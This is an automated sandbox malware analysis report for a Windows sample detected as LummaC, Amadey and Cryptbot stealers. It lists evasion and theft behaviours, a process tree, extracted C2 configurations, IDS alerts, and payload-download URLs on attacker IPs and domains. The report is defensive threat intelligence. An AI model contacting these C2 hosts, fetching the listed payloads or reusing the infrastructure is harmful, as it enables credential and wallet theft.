Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1578660
MD5:	744e8a3718a8bccb6c0bfe243c7ac195
SHA1:	06ad06e208965913a03307439e68f1168027fb89
SHA256:	9c41a2f71bf50c12c268e61147794c07e5a65642cd2a08235f5dce0ad0cdbc63
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Cryptbot, LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected AntiVM3

Yara detected Cryptbot

Yara detected LummaC Stealer

.NET source code contains potential unpacker

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

Leaks process information

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Entry point lies outside standard sections

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6552 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 744E8A3718A8BCCB6C0BFE243C7AC195)

skotes.exe (PID: 5232 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 744E8A3718A8BCCB6C0BFE243C7AC195)

skotes.exe (PID: 6004 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 744E8A3718A8BCCB6C0BFE243C7AC195)

skotes.exe (PID: 7696 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 744E8A3718A8BCCB6C0BFE243C7AC195)

f2de4e119f.exe (PID: 7944 cmdline: "C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe" MD5: 54BD0A4A6832CD8741DD5FC5F0DAF5A6)

chrome.exe (PID: 3868 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f2de4e119f.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4332 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=1920,i,2687393633107750468,17643821193662519934,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7380 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f2de4e119f.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1516 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1976,i,3664678629487095978,10251787719935980013,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

324fcfa2b3.exe (PID: 8116 cmdline: "C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

conhost.exe (PID: 8124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

324fcfa2b3.exe (PID: 8180 cmdline: "C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

c6628554c1.exe (PID: 4324 cmdline: "C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe" MD5: 8664A5A6E958F985735B8A17171550BC)

ba94e3db0d.exe (PID: 7196 cmdline: "C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe" MD5: 25FB9C54265BBACC7A055174479F0B70)

ef4aa82a7c.exe (PID: 2296 cmdline: "C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe" MD5: 98F2F2F0D74571AF72DD4CA43C1692BF)

6454cda0dd.exe (PID: 5468 cmdline: "C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe" MD5: EF08A45833A7D881C90DED1952F96CB4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Malware Configuration

Threatname: LummaC

{"C2 url": ["discokeyus.lat", "crosshuaht.lat", "grannyejh.lat", "rapeflowwj.lat", "sustainskelet.lat", "necklacebudi.lat", "aspecteirs.lat", "pancakedipyps.click", "energyaffai.lat"], "Build id": "FATE99--test"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Threatname: Cryptbot

{"C2 list": ["home.twentytk20pn.top"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000A.00000003.3069349378.0000000000A19000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.2124748348.00000000008F1000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000002.2129372535.00000000008F1000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.2084580491.0000000004F30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000003.3048615422.0000000000A19000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2084862029.0000000004670000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2099186851.0000000000581000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000003.2677302048.00000000048C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000003.3049062826.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2058785420.0000000004810000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000003.3048762934.0000000000A68000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.3048089446.0000000000A19000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: f2de4e119f.exe PID: 7944	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: f2de4e119f.exe PID: 7944	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 324fcfa2b3.exe PID: 8180	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 324fcfa2b3.exe PID: 8180	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 324fcfa2b3.exe PID: 8180	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: ba94e3db0d.exe PID: 7196	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: ba94e3db0d.exe PID: 7196	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ba94e3db0d.exe PID: 7196	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: ba94e3db0d.exe PID: 7196	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 6454cda0dd.exe PID: 5468	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 19 entries

Unpacked PEs

Source	Rule	Description	Author
6.2.skotes.exe.8f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.8f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.skotes.exe.8f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.580000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T02:11:18.915374+0100	2028371	3	Unknown Traffic	192.168.2.5	49853	172.67.179.109	443	TCP
2024-12-20T02:11:21.018372+0100	2028371	3	Unknown Traffic	192.168.2.5	49860	172.67.179.109	443	TCP
2024-12-20T02:11:23.523141+0100	2028371	3	Unknown Traffic	192.168.2.5	49866	172.67.179.109	443	TCP
2024-12-20T02:11:26.212191+0100	2028371	3	Unknown Traffic	192.168.2.5	49874	172.67.179.109	443	TCP
2024-12-20T02:11:26.822329+0100	2028371	3	Unknown Traffic	192.168.2.5	49876	172.67.209.202	443	TCP
2024-12-20T02:11:28.702688+0100	2028371	3	Unknown Traffic	192.168.2.5	49882	172.67.179.109	443	TCP
2024-12-20T02:11:28.877671+0100	2028371	3	Unknown Traffic	192.168.2.5	49883	172.67.209.202	443	TCP
2024-12-20T02:11:31.456681+0100	2028371	3	Unknown Traffic	192.168.2.5	49891	172.67.179.109	443	TCP
2024-12-20T02:11:31.588146+0100	2028371	3	Unknown Traffic	192.168.2.5	49892	172.67.209.202	443	TCP
2024-12-20T02:11:33.834112+0100	2028371	3	Unknown Traffic	192.168.2.5	49898	172.67.179.109	443	TCP
2024-12-20T02:11:34.034619+0100	2028371	3	Unknown Traffic	192.168.2.5	49900	172.67.209.202	443	TCP
2024-12-20T02:11:36.930416+0100	2028371	3	Unknown Traffic	192.168.2.5	49907	172.67.209.202	443	TCP
2024-12-20T02:11:39.167009+0100	2028371	3	Unknown Traffic	192.168.2.5	49916	172.67.179.109	443	TCP
2024-12-20T02:11:40.204841+0100	2028371	3	Unknown Traffic	192.168.2.5	49919	172.67.209.202	443	TCP
2024-12-20T02:11:42.527601+0100	2028371	3	Unknown Traffic	192.168.2.5	49927	172.67.209.202	443	TCP
2024-12-20T02:11:46.448671+0100	2028371	3	Unknown Traffic	192.168.2.5	49937	104.21.91.209	443	TCP
2024-12-20T02:11:47.670504+0100	2028371	3	Unknown Traffic	192.168.2.5	49943	172.67.209.202	443	TCP
2024-12-20T02:11:48.430831+0100	2028371	3	Unknown Traffic	192.168.2.5	49945	104.21.91.209	443	TCP
2024-12-20T02:11:51.017788+0100	2028371	3	Unknown Traffic	192.168.2.5	49950	104.21.91.209	443	TCP
2024-12-20T02:11:53.416292+0100	2028371	3	Unknown Traffic	192.168.2.5	49956	104.21.91.209	443	TCP
2024-12-20T02:11:56.141900+0100	2028371	3	Unknown Traffic	192.168.2.5	49971	104.21.91.209	443	TCP
2024-12-20T02:12:01.175507+0100	2028371	3	Unknown Traffic	192.168.2.5	49992	104.21.91.209	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T02:11:19.778408+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49853	172.67.179.109	443	TCP
2024-12-20T02:11:21.790023+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49860	172.67.179.109	443	TCP
2024-12-20T02:11:27.609134+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49876	172.67.209.202	443	TCP
2024-12-20T02:11:29.703194+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49883	172.67.209.202	443	TCP
2024-12-20T02:11:39.955696+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49916	172.67.179.109	443	TCP
2024-12-20T02:11:47.199303+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49937	104.21.91.209	443	TCP
2024-12-20T02:11:48.615756+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49943	172.67.209.202	443	TCP
2024-12-20T02:11:49.211425+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49945	104.21.91.209	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T02:11:19.778408+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49853	172.67.179.109	443	TCP
2024-12-20T02:11:27.609134+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49876	172.67.209.202	443	TCP
2024-12-20T02:11:47.199303+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49937	104.21.91.209	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T02:11:21.790023+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49860	172.67.179.109	443	TCP
2024-12-20T02:11:29.703194+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49883	172.67.209.202	443	TCP
2024-12-20T02:11:49.211425+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49945	104.21.91.209	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T02:11:18.915374+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.5	49853	172.67.179.109	443	TCP
2024-12-20T02:11:21.018372+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.5	49860	172.67.179.109	443	TCP
2024-12-20T02:11:23.523141+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.5	49866	172.67.179.109	443	TCP
2024-12-20T02:11:26.212191+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.5	49874	172.67.179.109	443	TCP
2024-12-20T02:11:28.702688+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.5	49882	172.67.179.109	443	TCP
2024-12-20T02:11:31.456681+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.5	49891	172.67.179.109	443	TCP
2024-12-20T02:11:33.834112+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.5	49898	172.67.179.109	443	TCP
2024-12-20T02:11:39.167009+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.5	49916	172.67.179.109	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T02:11:26.822329+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.5	49876	172.67.209.202	443	TCP
2024-12-20T02:11:28.877671+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.5	49883	172.67.209.202	443	TCP
2024-12-20T02:11:31.588146+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.5	49892	172.67.209.202	443	TCP
2024-12-20T02:11:34.034619+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.5	49900	172.67.209.202	443	TCP
2024-12-20T02:11:36.930416+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.5	49907	172.67.209.202	443	TCP
2024-12-20T02:11:40.204841+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.5	49919	172.67.209.202	443	TCP
2024-12-20T02:11:42.527601+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.5	49927	172.67.209.202	443	TCP
2024-12-20T02:11:47.670504+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.5	49943	172.67.209.202	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T02:11:41.424521+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49923	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T02:11:25.355455+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49871	185.215.113.43	80	TCP
2024-12-20T02:11:37.997335+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49909	185.215.113.43	80	TCP
2024-12-20T02:11:46.683364+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49938	185.215.113.43	80	TCP
2024-12-20T02:11:58.989568+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49979	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T02:12:12.085933+0100	2054350	1	A Network Trojan was detected	192.168.2.5	50039	147.45.113.159	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T02:11:17.373236+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.5	51684	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T02:11:25.277618+0100	2058397	1	Domain Observed Used for C2 Detected	192.168.2.5	61349	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T02:11:17.142461+0100	2058374	1	Domain Observed Used for C2 Detected	192.168.2.5	55985	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T02:11:32.089325+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49891	172.67.179.109	443	TCP
2024-12-20T02:11:32.581260+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49892	172.67.209.202	443	TCP
2024-12-20T02:12:02.229532+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49992	104.21.91.209	443	TCP

ETPRO MALWARE Amadey CnC Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T02:11:18.542272+0100	2856121	1	A Network Trojan was detected	192.168.2.5	49850	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T02:11:05.218064+0100	2856147	1	A Network Trojan was detected	192.168.2.5	49817	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T02:11:17.191335+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49825	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T02:11:09.942764+0100	2803305	3	Unknown Traffic	192.168.2.5	49831	185.215.113.16	80	TCP
2024-12-20T02:11:19.997547+0100	2803305	3	Unknown Traffic	192.168.2.5	49855	31.41.244.11	80	TCP
2024-12-20T02:11:26.803789+0100	2803305	3	Unknown Traffic	192.168.2.5	49875	31.41.244.11	80	TCP
2024-12-20T02:11:39.450093+0100	2803305	3	Unknown Traffic	192.168.2.5	49917	31.41.244.11	80	TCP
2024-12-20T02:11:48.131547+0100	2803305	3	Unknown Traffic	192.168.2.5	49944	31.41.244.11	80	TCP
2024-12-20T02:12:00.527811+0100	2803305	3	Unknown Traffic	192.168.2.5	49988	31.41.244.11	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T02:11:33.882275+0100	2843864	1	A Network Trojan was detected	192.168.2.5	49898	172.67.179.109	443	TCP
2024-12-20T02:11:42.609694+0100	2843864	1	A Network Trojan was detected	192.168.2.5	49927	172.67.209.202	443	TCP

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: grannyejh.lat

Source: c6628554c1.exe, 0000000B.00000003.3025587881.0000000006FEF000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000003.3238223155.0000000007646000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000002.3285072625.0000000000B4D000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: http://.css
Source: c6628554c1.exe, 0000000B.00000003.3025587881.0000000006FEF000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000003.3238223155.0000000007646000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000002.3285072625.0000000000B4D000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: http://.jpg
Source: f2de4e119f.exe, 00000007.00000003.3133068689.0000000000766000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: skotes.exe, 00000006.00000002.3321244705.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/lumma/random.exe
Source: skotes.exe, 00000006.00000002.3321244705.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/lumma/random.exe6
Source: skotes.exe, 00000006.00000002.3321244705.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/lumma/random.exeU
Source: skotes.exe, 00000006.00000002.3321244705.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/lumma/random.exeencoded
Source: f2de4e119f.exe, 00000007.00000003.3152858229.0000000000763000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.3133068689.0000000000766000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000002.3253447631.0000000000764000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: f2de4e119f.exe, 00000007.00000002.3252140270.000000000053B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exepleWebKit/537.36
Source: f2de4e119f.exe, 00000007.00000003.3152858229.0000000000763000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.3133068689.0000000000766000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000002.3253447631.0000000000764000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exes
Source: skotes.exe, 00000006.00000002.3321244705.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.3321244705.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php?J
Source: skotes.exe, 00000006.00000002.3321244705.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exe
Source: skotes.exe, 00000006.00000002.3321244705.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/london/random.exe
Source: skotes.exe, 00000006.00000002.3321244705.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3321244705.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/martin/random.exe
